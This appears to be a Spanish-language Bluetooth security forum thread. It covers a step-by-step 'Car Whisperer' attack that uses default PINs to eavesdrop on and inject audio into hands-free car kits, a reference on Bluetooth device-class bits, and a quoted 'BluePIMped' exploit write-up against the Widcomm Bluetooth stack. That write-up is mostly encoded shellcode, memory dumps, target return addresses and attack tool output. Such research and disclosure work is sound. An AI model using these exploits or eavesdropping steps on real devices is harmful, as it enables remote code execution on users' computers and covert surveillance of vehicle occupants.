En el caso de un dispositivo Manos Libres Bluetooth, le permite acceder a las funciones de audio implementadas en el terminal:

- Capturar el audio recogido por el micrófono del dispositivo, lo cual permitiría escuchar conversaciones privadas en el interior del vehículo.



- Inyectar audio que sería reproducido por los altavoces del dispositivo, lo cual permitiría proyectar mensajes de voz a los ocupantes del vehículo.



Es evidente que la consecución de un ataque Car Whisperer con éxito puede comprometer la intimidad y seguridad al volante de los pasajeros de un automóvil con el dispositivo Manos Libres activado.


DESCRIPCIÓN DEL ATAQUE POCKET CAR WHISPERER

1) DISPOSITIVOS EMPLEADOS PARA LA DEMOSTRACIÓN

PLATAFORMA ATACANTE: POCKET PC con Windows Mobile 2003



OBJETIVO: Dispositivo Manos Libres Bluetooth


2) ESCANEO Y BÚSQUEDA DE UN DISPOSITIVO MANOS LIBRES BLUETOOH EN MODO VISIBLE

Activamos Bluetooth en la PDA y abrimos el programa gestor de conexiones Bluetooth. Especificamos que el dispositivo a encontrar es un Manos Libres.

   


3) EMPAREJAMIENTO CON EL MANOS LIBRES

El gestor de conexiones Bluetooth encuentra un dispositivo Manos Libres llamado HF009. Intenta conectarse con él y es requerido un proceso de emparejamiento, para lo que se necesita introducir una clave de seguridad Bluetooth.
Para que el emparejamiento tenga éxito, la clave de seguridad debe ser la misma que tiene almacenada por defecto el Manos Libres, suele ser 1234, 0000, 8888...

 


4) CONEXIÓN AL PERFIL DE AURICULARES

Si el emparejamiento se ha producido satisfactoriamente, el gestor de conexiones Bluetooth crea un acceso directo al perfil de auriculares ofrecido por el dispositivo Manos Libres.

 


Nos conectamos al perfil de auriculares.

 


5) CAPTURA E INYECCIÓN DE AUDIO EN EL MANOS LIBRES

Si la conexión se ha realizado con éxito, tendremos acceso a las funciones de audio soportadas por el perfil de auriculares:

- Capturar el audio recogido por el micrófono del dispositivo.
- Inyectar audio que será reproducido por los altavoces del dispositivo.

Para realizar estas funciones de audio, utilizaremos la aplicación Micrófono incluida en Windows Mobile. Originalmente, esta aplicación está diceñada para:

- Tomar notas de voz, que son recogidas por el micrófono de la PDA.
- Reproducir notas de voz grabadas anteriormente.

Nosotros vamos a darle otro uso a esta aplicación, de forma que una vez nos hayamos conectado al perfil de auriculares y se haya creado una pasarela de audio estableciendo enlaces síncronos orientados a conexión (SCO) para la transmisión de audio en ambas direcciones, podremos:

- Activar la aplicación Micrófono de la PDA y capturar/grabar/almacenar el audio recogido por el micrófono del Manos Libres. Esto puede permitirnos tener acceso a conversaciones privadas entre los ocupantes del interior del vehículo objetivo.
- Grabar mensajes de voz por el micrófono de la PDA, que al ser reproducidos durante una sesión de ataque, se proyectarán en el interior del vehículo objetivo a través de los altavoces del Manos Libres, con el consecuente sobresalto del conductor y el resto de pasajeros.

Adicionalmente, cualquier sonido o archivo de audio que sea reproducido en la PDA será proyectado a través de los altavoces del Manos Libres. Esto significa que si reproducimos un archivo de música en el Windows Media Player, el sonido se escuchará en el interior del vehículo objetivo.

   


Para finalizar el ataque, nos desconectamos del dispositivo Manos Libres.


COMENTARIOS SOBRE LA DEMOSTRACIÓN DEL ATAQUE

Durante el experimento se han llevado a cabo los dos tipos de ataque:

- Captura del audio recogido por el micrófono del Manos Libres en el interior del vehículo.
- Inyección de audio que ha sido proyectado por los altavoces del Manos Libres en el interior del vehículo.

En ambos casos, se ha obtenido una distancia máxima de acción en torno a 10 metros a la redonda, suficiente para que esta experiencia pueda ser reproducida en un escenario de ataque real desde otro vehículo o a pie, siempre que nos mantengamos junto al objetivo en ese radio de cobertura.

 


 
RECOMENDACIONES DE SEGURIDAD

Consejos para evitar recibir un ataque Car Whisperer:

- Utilizar Manos Libres cuyo fabricante no haya determinado una clave PIN por defecto para poder realizar el emparejamiento con todos los modelos del dispositivo, sino que cada unidad incorpore una clave PIN aleatoria especificada durante su producción. También sería seguro un dispositivo que incluyese un teclado o similar para que el usuario pudiera especificar individualmente la clave PIN que desea utilizar para el emparejamiento.

- Utilizar Manos Libres que necesiten una configuración manual del mismo para permitir el emparejamiento con otros dispositivos. Existen algunos modelos que se muestran en modo oculto a ojos de dispositivos no emparejados y sólo entran en modo visible a la hora de permitir el emparejamiento, y para ello es necesario apretar una combinación de teclas manualmente en el dispositivo.

- Mantener encendido el Manos Libres únicamente cuando se vaya a utilizar. En cualquier otro caso, tenerlo activado sólo sirve para agotar la batería y ser objetivo potencial de un ataque Car Whisperer.

- Siempre que el Manos Libres esté encendido, debe estar conectado a un teléfono móvil. La mayoría de Manos Libres admiten varios dispositivos emparejados, pero solamente uno conectado. Si el Manos Libres atacado está conectado en ese momento con un teléfono móvil, el atacante no podrá conectarse con éxito al dispositivo, ya que este se encuentra ocupado.

#18
Descargar el artículo en formato pdf:
http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/Files/Identificacion.Dispositivos.Bluetooth.pdf

1. Introducción

Cuando realizamos algún escaneo de dispositivos Bluetooth con ayuda de herramientas comerciales o, mismamente, con el asistente  de conexiones Bluetooth de Windows, observamos que los dispositivos detectados son mostrados mediante iconos representativos de su naturaleza, ya sean PCs, PDAs, Teléfonos móviles, Manos libres, etc.

Nos preguntamos, ¿cómo será posible conocer el tipo de dispositivo del que se trata? La respuesta es: a través de los DIACs (The General- and Device-Specific Inquiry Access Codes)

2. Class of Device/Service

Cada dispositivo Bluetooth incorpora en la cabecera de nivel de Banda Base (Baseband 1.1) de sus paquetes un campo Class of Device/Service. Este campo se compone de 3 octetos organizados con el siguiente formato (en little endian):
- 11 últimos bits reservados para las Service Classes.
- 11 siguientes bits reservados para las Device Classes.
       - 6 últimos bits reservados para las Major Device Classes.
       - 5 siguientes bits reservados para las Minor Device Classes.
- 2 primeros bits para el campo Format Type, por defecto a 0.

El siguiente esquema resume lo explicado:


Con el fin de poder obtener información del campo Class of Device/Service, los 3 octetos se traducen a un string binario de 24 bits cuya ordenación de 1s y 0s permite identificar los servicios ofrecidos por el dispositivo, así como la naturaleza del mismo.

3. Service Classes (Clases de servicios)

El campo reservado para las Service Classes permite identificar los servicios soportados por el dispositivo. Este campo se compone de 11 bits, del 13 al 23. Cada servicio Bluetooth está asociado a un bit en concreto, de forma que si un determinado bit del campo está a 1, entonces el dispositivo soporta ese servicio Bluetooth. La correspondencia entre nº de bit y servicio se recoge en la siguiente tabla:
CitarBit | Major Service Class
13 | Limited Discoverable Mode [Ref #1]
14 | (reserved)
15 | (reserved)
16 | Positioning (Location identification)
17 | Networking (LAN, Ad hoc, ...)
18 | Rendering (Printing, Speaker, ...)
19 | Capturing (Scanner, Microphone, ...)
20 | Object Transfer (v-Inbox, v-Folder, ...)
21 | Audio (Speaker, Microphone, Headset service, ...)
22 | Telephony (Cordless telephony, Modem, Headset service, ...)
23 | Information (WEB-server, WAP-server, ...)

4. Device Classes (Clases de Dispositivos)

El campo reservado para las Device Classes permite identificar la naturaleza del dispositivo. Este campo se compone 2 subcampos: Major Device Classes y Minor Device Classes

4.1 Major Device Classes

El campo reservado para las Major Device Classes permite identificar el tipo genérico de dispositivo. Este campo se compone de 5 bits, del 8 al 12. Cada tipo genérico de dispositivo está asociado a una representación concreta de bits dentro del campo. La correspondencia entre bits y tipos genéricos de dispositivos se recoge en la siguiente tabla:
Citar12 11 10 9 8 | Major Device Class
 0  0  0  0  0 | Miscellaneous
 0  0  0  0  1 | Computer (desktop,notebook, PDA, organizers, .... )
 0  0  0  1  0 | Phone (cellular, cordless, payphone, modem, ...)
 0  0  0  1  1 | LAN /Network Access point
 0  0  1  0  0 | Audio/Video (headset,speaker,stereo, video display, ...)
 0  0  1  0  1 | Peripheral (mouse, joystick, keyboards, ...)
 0  0  1  1  0 | Imaging (printing, scanner, camera, display, ...)
 0  0  1  1  1 | Wearable (complemento que puedes llevar puesto)
 0  1  0  0  0 | Toy (Juguete)
 1  1  1  1  1 | Uncategorized, specific device code not specified
X  X  X  X  X | All other values reserved

4.2 Minor Device Classes

El campo reservado para las Minor Device Classes permite identificar el tipo específico de dispositivo. Este campo se compone de 6 bits, del 7 al 2. Cada tipo específico de dispositivo está asociado a una representación concreta de bits dentro del campo. La correspondencia entre bits y tipos específicos de dispositivos, dentro de cada tipo genérico, se recoge en la siguientes tablas:

Computer Major Class
Citar7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Desktop workstation
0  0  0  0  1  0 | Server-class computer
0  0  0  0  1  1 | Laptop
0  0  0  1  0  0 | Handheld PC/PDA (clam shell)
0  0  0  1  0  1 | Palm sized PC/PDA
0  0  0  1  1  0 | Wearable computer (Watch sized)
X  X  X  X  X  X | All other values reserved

Phone Major Class
Citar7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Cellular
0  0  0  0  1  0 | Cordless
0  0  0  0  1  1 | Smart phone
0  0  0  1  0  0 | Wired modem or voice gateway
0  0  0  1  0  1 | Common ISDN Access
X  X  X  X  X  X | All other values reserved

Audio/Video Major Class
Citar7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Wearable Headset Device
0  0  0  0  1  0 | Hands-free Device
0  0  0  0  1  1 | (Reserved)
0  0  0  1  0  0 | Microphone
0  0  0  1  0  1 | Loudspeaker
0  0  0  1  1  0 | Headphones
0  0  0  1  1  1 | Portable Audio
0  0  1  0  0  0 | Car audio
0  0  1  0  0  1 | Set-top box
0  0  1  0  1  0 | HiFi Audio Device
0  0  1  0  1  1 | VCR
0  0  1  1  0  0 | Video Camera
0  0  1  1  0  1 | Camcorder
0  0  1  1  1  0 | Video Monitor
0  0  1  1  1  1 | Video Display and Loudspeaker
0  1  0  0  0  0 | Video Conferencing
0  1  0  0  0  1 | (Reserved)
0  1  0  0  1  0 | Gaming/Toy
X  X  X  X  X  X | All other values reserved

Peripheral Major Class
Citar7  6 | Minor Device Class
0  0 | Other (Joystick, Gamepad, Remote control, ...)
0  1 | Keyboard
1  0 | Pointing device
1  1 | Combo keyboard/pointing device

Imaging Major Class
Citar7  6  5  4 | Minor Device Class
X  X  X  1 | Display
X  X  1  X | Camera
X  1  X  X | Scanner
1  X  X  X | Printer
X  X  X  X | All other values reserved


Wereable Major Class
Citar7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Wrist Watch
0  0  0  0  1  0 | Pager
0  0  0  0  1  1 | Jacket
0  0  0  1  0  0 | Helmet
0  0  0  1  0  1 | Glasses
X  X  X  X  X  X | All other values reserved

Toy Major Class
Citar7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Robot
0  0  0  0  1  0 | Vehicle
0  0  0  0  1  1 | Doll / Action Figure
0  0  0  1  0  0 | Controller
0  0  0  1  0  1 | Game
X  X  X  X  X  X | All other values reserved


Referencias
https://www.bluetooth.org/foundry/assignnumb/document/baseband
http://trifinite.org/trifinite_stuff_btclass.html
#19
Taller orientado al desarrollo de programas relacionados con la Seguridad en Bluetooth en Linux.

Se necesita tener instalados los siguientes paquetes Bluez (a ser posible, las últimas versiones):
- bluez-utils
- bluez-libs
- bluez-libs-devel
#20
Me ha llegado el siguiente email desde Bluetraq.

Se trata de la publicación de un exploit q permite ejecutar código arbitrario en Windows explotando una vulnerabilidad del servicio Bluetooth de Intercambio de tarjetas PIM, el cual no requiere autentificación.

Fuente: http://www.digitalmunition.com/BluePIMped.txt
Exploit: http://www.digitalmunition.com/BluePIMped.diff

Citarhave you ever been BluePIMped?

Exploiting The Widcomm BTStackServer by KF (kf_lists[at]digitalmunition[dot]com)
 
On August 12, 2004 Ryan Naraine of internetnews.com described a serious vulnerability in
Widcomm's widely deployed Bluetooth Connectivity Software. It was said that this new threat
could pave the way for the creation of a wireless worm that spreads between PCs or PDAs
using Bluetooth. (Queue scary music in the background). It is now over a year later and I
have yet to even see signs of an exploit, let alone a worm for either the PC or PDA.
<sarcasm> Consider this document as my donation of a small amount of tar to help pave the
road to a Widcomm Bluetooth worm.</sarcasm>

First let me outline how the Widcomm Bluetooth Stack works. Upon logging in to the Windows
desktop the binary BTTray.exe is launched via the '..\All Users\Start Menu\Programs\Startup'
startup folder. BTTray is responsible for two major tasks, one being the presentation of the
Bluetooth icon in the systray and the other being the launch of BTStackServer.exe. BTTray.exe
also handles events such as informing the user that someone has connected to a particular
Bluetooth service.

Several profiles are offered by the 'Local Services' menu within the BTTray Bluetooth
Configuration screen. Several of the services require pairing prior to use, however by default
no secure connection is required for the PIM Item Transfer. The lack of PIM Transfer security
is likely due to this profile being commonly used to exchange business cards. The lack of a
secure connection will pretty much allow any Bluetooth user to connect to the PIM Item
Transfer service.

Although not explicitly disclosed one of the various malformed service requests that Pentest
Limited discovered was directed at the PIM Item Transfer service. As mentioned in their
advisory Pentest Limited has written a proof of concept exploit for Windows XP and again
although not explicitly disclosed this exploit was for the PIM Item Transfer service. After
many months of frustration and hurdles I have come up with a fairly stable means of blindly
recreating the work of Pentest Limited.

My early work on this project attempted to use a single Unicode encoded buffer to both trigger
this exploit and carry its payload. This technique was completely abandonded after an off the
cup comment about client side Unicode made me come to my senses. One little call to
OBEX_CharToUnicode() can change the playing field quite a bit.

The mechanics of my current exploit are as follows:
1. Use the ascii buffer used for Bluetooth device name to store shellcode. We have up to 248
   bytes.
2. Populate HKLM\SOFTWARE\Widcomm\BTConfig\Devices\XX:XX:XX:XX:XX:XX\Name on remote device with
   shellcode
3. Make use of the remote filename field to trigger the overflow and to hold the repeated
   return addresses
4. Deliver a payload of goodies for all to enjoy.

The first phase of the exploit ensures that we have shellcode in memory at the time we activate
the EIP address. This is done by sending a valid file via PIM Transfer. When a connection is made
the registry is queried for the device name. If this name exists it will be used in the
notification balloon that indicates a connection was made. If no registry entry is available
<No Name> will be used and a query to resolve the name will be placed.

This portion of the population phase can be recognised by the following message.
Bluetooth device '<No Name>' is connected to the 'PIM Item Transfer' service on this computer.

At this point as mentioned above a call has been made to resolve the Bluetooth name of the remote
device that connected to the PIM Transer service. Once this call has been completed the name will
be stored in the registry location shown below. Upon subsequent connections this entry will be
displayed in the notification balloon.

Below is an example of MsgBox shellcode from Skylined encoded via ShikataGaNai as it is stored in
the registry after a name resolution.

[HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\Devices\00:11:b1:07:be:a7]
"Name"=hex:2b,c9,da,cd,d9,74,24,f4,5f,b1,33,b8,d1,f7,19,b7,31,47,15,83,c7,04,\
03,96,e6,fb,42,e4,38,3c,c8,9f,7b,8c,9a,df,77,67,ec,c3,2a,fc,65,f3,5c,6f,1a,\
03,9d,07,d1,31,b3,b3,7d,40,b8,5e,0c,fe,85,d0,57,16,07,fa,ce,e6,f8,fb,67,09,\
71,3e,46,07,d0,29,af,a7,d5,a9,f3,e6,81,fa,c9,e8,c1,d8,2d,e8,11,62,62,a4,31,\
3d,35,61,60,9d,8b,c5,d1,98,5f,9a,96,76,28,04,68,25,ed,64,28,8c,a1,2b,e2,49,\
1a,e7,b5,75,0f,54,64,76,fd,e1,9a,7a,c8,ef,b3,8c,ca,0f,44,a2,0a,5f,cd,39,31,\
36,d0,83,7c,20,ea,03,81,b0,bd,54,0a,f5,7d,d0,58,f0,05,e7,8a,a8,7e,b5,6a,4d,\
6b,0b,ab,7c,a2,2d,a0,4a,be,af,58,83,41,6e,6b,f0,11,70,b3,73,a9,06,cd,42,f5,\
9c,db,ee,82,05,38,0f,7e,df,cb,03,cb,ab,96,07,ca,40,ad,33,47,97,5a,64,09,67,\
  7a,9a,00


Next a secondary connection is made in order to actually trigger the overflow. This connection
consists of our desired return address repeated over and over being cramed into the remote file
name buffer. During the study of different exploitation attempts I found that my return address
was not often alligned as I expected or in the location that I expected. I found that repeating it
over and over helped stabilize my attempts. Deciding upon a static length for the filename also
seemed to help keep things alligned properly. The initial 272 bytes I send as a repeated return
address seems to be duplicated several times in succession in memory. The EIP seemes to be chosen
semi randomly from the area below represented in the block of memory between 0x0053C9F7 and
0x0053CCF7.


0053C9A7  00 00 00 00 00 00 43 00 3A 00 5C 00 44 00 4F 00  ......C.:.\.D.O.
0053C9B7  43 00 55 00 4D 00 45 00 7E 00 31 00 5C 00 41 00  C.U.M.E.~.1.\.A.
0053C9C7  44 00 4D 00 49 00 4E 00 49 00 7E 00 31 00 5C 00  D.M.I.N.I.~.1.\.
0053C9D7  4C 00 4F 00 43 00 41 00 4C 00 53 00 7E 00 31 00  L.O.C.A.L.S.~.1.
0053C9E7  5C 00 54 00 65 00 6D 00 70 00 5C 00 41 5A 43 42  \.T.e.m.p.\.AZCB
0053C9F7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA07  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CA97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAB7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAC7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CAF7  41 44 43 42 41 44 43 42 41 44 43 42 FF 44 5A 07  ADCBADCBADCBÿDZ
0053CB07  41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42  AZCBADCBADCBADCB
0053CB17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CB97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBB7  41 5A 43 42 41 44 43 42 41 44 43 42 41 44 43 42  AZCBADCBADCBADCB
0053CBC7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CBF7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC07  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC17  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC27  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC37  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC47  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC57  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC67  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC77  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC87  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CC97  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCA7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCB7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCC7  FF 44 5A 07 41 5A 43 42 41 44 43 42 41 44 43 42  ÿDZAZCBADCBADCB
0053CCD7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCE7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB
0053CCF7  41 44 43 42 41 44 43 42 41 44 43 42 41 44 43 42  ADCBADCBADCBADCB


Please note that some of the bytes were corrupted above. In some cases 0x07 and 0xff randomly
overwrote portions of our string. This would obviously corrupt any shellcode that was put into
this buffer. After I stopped trying to cram shellcode here I found that on occasion this also
caused undesired return addresses to be used rather than the one I specified. The letter "Z" is
in some cases prepended to our buffer to help compensate for the corruption.

Once the return address has been stabilized things should look similar to the following upon
EIP activation.

EAX 00000004
ECX 00008000
EDX 00000036
EBX 0038F6E8 ASCII "0"
ESP 01F7FF3C
EBP 01F7FF80
ESI 0038C510 ASCII "("
EDI 00000001
EIP 41424344

Our shellcode seems to be in several locations however only a few of them do not contain nulls.
Across multiple versions and service packs the shellcode consistantly lands on an address with
3 static bits 0x01??f74e. You can see this trend below in the targets section from my exploit.
The shellcode location should contain the contents of the Bluetooth device name as it was stored
in the registry.

With a debugger attached to BTStackServer.exe we can attempt to activate the EIP and point it at
our shellcode.

animosity:/home/kfinisterre/ussp-push-0.4-kf# hcitool scan
Scanning ...
        00:0A:3A:54:71:95       NEW-THREAT
animosity:/home/kfinisterre/ussp-push-0.4-kf# sdptool search OPUSH
00:0A:3A:54:71:95
Inquiring ...
Searching for OPUSH on 00:0A:3A:54:71:95 ...
Service Name: PIM Item Transfer
Service RecHandle: 0x10004
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 3
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100
...

animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push
BluePIMped v0.1
Usage: ./ussp-push {DEVICE, BTADDR@BTCHAN} LFILE RFILE

        DEVICE        = RFCOMM TTY device file
        BTADDR@BTCHAN = BlueTooth address/name and OBEX channel
        TARGET  = Target number
Types:
0 [0x01abf74e]: [ XP Pro SP0   - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]
1 [0x019bf74e]: [ XP Pro SP0   - Actiontec Bluetooth Software (ver 1.1 cd label) ]
2 [0x019bf74e]: [ XP Pro SP0   - Belkin Bluetooth Software 1.4.2 Build 10 ]
3 [0x0197f74e]: [ XP Pro SP1a  - Belkin Bluetooth Software 1.4.2 Build 10 ]
4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
5 [0x41424344]: [ Crash ]

animosity:/home/kfinisterre/ussp-push-0.4-kf# ./ussp-push 00:0A:3A:54:71:95@3 4
[-] Selected target:
    4 [0x0199f74e]: [ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]
name=/etc/hosts, size=257
Registered transport

set user data

created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file: YouAreBeingPwnedViaBlueTooth, path: /etc/hosts, size: 257
reqdone
Command (02) has now finished, rsp: 20reqdone
Command (01) has now finished, rsp: 20Disconnect done!
sleeping 3 seconds before triggering the shellcode
name=/etc/hosts, size=257
Registered transport

set user data

created new objext
Local device 00:0B:0D:63:0B:CC
Remote device 00:0A:3A:54:71:95 (3)

started a new request
reqdone
Command (00) has now finished, rsp: 20Connected!

Connection return code: 0, id: 0
Connection established
connected to server
Sending file:
ZZZ÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N
÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷
N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N÷N,
path: /etc/hosts, size: 257
Made some progress...
Peace nigga...

After the malformed request is sent my debugger paused with an Access violation when writing to
[00713000]. You can safely pass this exception on to the program. This is a good time to verify
that your shellcode is where you expect it to be.

0199F74E  2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7  +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E  31 47 15 83 C7 04 03 96 E6 FB 42 E4 38 3C C8 9F  1GƒÇ–æûBä8<ÈŸ
0199F76E  7B 8C 9A DF 77 67 EC C3 2A FC 65 F3 5C 6F 1A 03  {ŒšßwgìÃ*üeó\o
0199F77E  9D 07 D1 31 B3 B3 7D 40 B8 5E 0C FE 85 D0 57 16  Ñ1³³}@¸^.þ...ÐW
0199F78E  07 FA CE E6 F8 FB 67 09 71 3E 46 07 D0 29 AF A7  úÎæøûg.q>FÐ)¯§
0199F79E  D5 A9 F3 E6 81 FA C9 E8 C1 D8 2D E8 11 62 62 A4  Õ©óæúÉèÁØ-èbb¤
0199F7AE  31 3D 35 61 60 9D 8B C5 D1 98 5F 9A 96 76 28 04  1=5a`‹Åј_š–v(
0199F7BE  68 25 ED 64 28 8C A1 2B E2 49 1A E7 B5 75 0F 54  h%íd(Œ¡+âIçµuT
0199F7CE  64 76 FD E1 9A 7A C8 EF B3 8C CA 0F 44 A2 0A 5F  dvýášzÈﳌÊD¢._
0199F7DE  CD 39 31 36 D0 83 7C 20 EA 03 81 B0 BD 54 0A F5  Í916Ѓ| ꁰ½T.õ
0199F7EE  7D D0 58 F0 05 E7 8A A8 7E B5 6A 4D 6B 0B AB 7C  }ÐXð犨~µjMk «|
0199F7FE  A2 2D A0 4A BE AF 58 83 41 6E 6B F0 11 70 B3 73  ¢- J¾¯XƒAnkðp³s
0199F80E  A9 06 CD 42 F5 9C DB EE 82 05 38 0F 7E DF CB 03  ©ÍBõœÛî,8~ßË
0199F81E  CB AB 96 07 CA 40 AD 33 47 97 5A 64 09 67 7A 9A  Ë«–Ê@­3G—Zd.gzš

Immediately after passing the exception control should be handed over to us. We should jump into
the code we stored in the Bluetooth name buffer. Skylined's code will to do its magic and the real
intent of our payload is revealed.

0199F74E  2B C9 DA CD D9 74 24 F4 5F B1 33 B8 D1 F7 19 B7  +ÉÚÍÙt$ô_±3¸Ñ÷·
0199F75E  31 47 15 83 C7 04 03 47 11 E2 F5 FC 31 C0 64 8B  1GƒÇGâõü1Àd‹
0199F76E  40 30 8B 40 0C 8B 70 1C AD 8B 68 08 68 6C 6C 00  @0‹@.‹p­‹hhll.
0199F77E  00 68 33 32 2E 64 68 75 73 65 72 54 BB 71 A7 E8  .h32.dhuserT»q§è
0199F78E  FE E8 56 00 00 00 89 EF 89 C5 31 D2 52 E8 06 00  þèV...‰ï‰Å1ÒRè.
0199F79E  00 00 43 41 54 53 3A 00 E8 25 00 00 00 41 4C 4C  ..CATS:.è%...ALL
0199F7AE  20 59 4F 55 52 20 42 4C 55 45 54 4F 4F 54 48 20   YOUR BLUETOOTH
0199F7BE  41 52 45 20 42 45 4C 4F 4E 47 20 54 4F 20 55 53  ARE BELONG TO US
0199F7CE  2E 00 52 BB E2 0C C9 FA E8 0F 00 00 00 31 C0 50  ..R».Éúè...1ÀP
0199F7DE  89 FD BB 69 1D 42 3A E8 00 00 00 00 56 57 8B 45  ‰ý»iB:è....VW‹E
0199F7EE  3C 8B 54 05 78 01 EA 52 8B 52 20 01 EA 31 C0 31  <‹TxêR‹R ê1À1
0199F7FE  C9 41 8B 34 8A 01 EE 31 FF C1 CF 13 AC 01 C7 85  ÉA‹4Šî1ÿÁϬÇ...
0199F80E  C0 75 F6 39 DF 75 EA 5A 8B 5A 24 01 EB 66 8B 0C  Àuö9ßuêZ‹Z$ëf‹.
